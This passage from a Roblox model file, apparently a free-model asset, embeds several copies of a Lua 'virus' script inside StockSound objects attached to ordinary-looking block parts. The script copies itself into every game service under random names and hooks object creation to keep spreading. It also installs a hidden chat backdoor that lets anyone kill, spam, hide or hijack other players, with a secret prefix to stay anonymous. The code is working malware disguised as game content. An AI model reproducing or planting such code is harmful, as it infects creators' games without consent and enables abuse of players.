if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX874">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-160</X>
					<Y>55.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX875">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX876">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX877">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">27</int>
				<CoordinateFrame name="CFrame">
					<X>-155</X>
					<Y>59.1999969</Y>
					<Z>-11.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>-1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>1</R20>
					<R21>0</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<token name="Controller">0</token>
				<bool name="ControllerFlagShown">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Smooth Block Model</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>1</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
			<Item class="StockSound" referent="RBX878">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">nfmrln</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX879">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">zqnh9fn</string>
						<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
